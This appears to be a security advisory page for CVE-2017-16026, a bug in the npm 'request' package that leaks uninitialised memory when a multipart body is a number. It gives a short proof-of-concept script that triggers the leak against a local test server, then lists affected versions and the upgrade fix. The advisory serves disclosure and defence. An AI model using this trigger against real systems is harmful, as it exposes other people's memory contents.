CVE-2017-16026: Input Validation

Published Jun 4, 2018
·
Updated

Affected versions of request will disclose local system memory to remote systems in certain circumstances. When a multipart request is made, and the type of body is number, then a buffer of that size will be allocated and sent to the remote server as the body.

Proof of Concept

js var request = require('request'); var http = require('http');

var serveFunction = function (req, res){ req.on('data', function (data) { console.log(data) }); res.end(); }; var server = http.createServer(serveFunction); server.listen(8000);

request({ method: "POST", uri: 'http://localhost:8000', multipart: [{body:500}] },function(err,res,body){});

Recommendation

Update to version 2.68.0 or later

Other sources

Request is an http client. If a request is made using multipart, and the body type is a number, then the specified number of non-zero memory is passed in the body. This affects Request >=2.2.6 <2.47.0 || >2.51.0 <=2.67.0.

Affected Software

4 affected componentsFixes available
npm/request>=2.2.6<2.47.0
2.68.0
npm/request>=2.49.0<2.68.0
2.68.0
Request Project Request Node.js>=2.2.6<2.47.0
Request Project Request Node.js>2.51.0<=2.67.0

Event History

Jun 4, 2018
CVE Published
via MITRE·07:00 PM
Data Sourced
via MITRE·07:00 PM
DescriptionWeakness
Nov 9, 2018
Advisory Published
05:44 PM
Data Sourced
05:44 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2017-16026?

The severity of CVE-2017-16026 is high (5.9).

2

How does CVE-2017-16026 affect request?

CVE-2017-16026 affects certain versions of the `request` package.

3

What is the impact of CVE-2017-16026?

CVE-2017-16026 can disclose local system memory to remote systems in certain circumstances.

4

How can I fix CVE-2017-16026?

To fix CVE-2017-16026, upgrade to version 2.68.0 or apply the appropriate patches.

5

Where can I find more information about CVE-2017-16026?

You can find more information about CVE-2017-16026 on the NVD website and GitHub.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203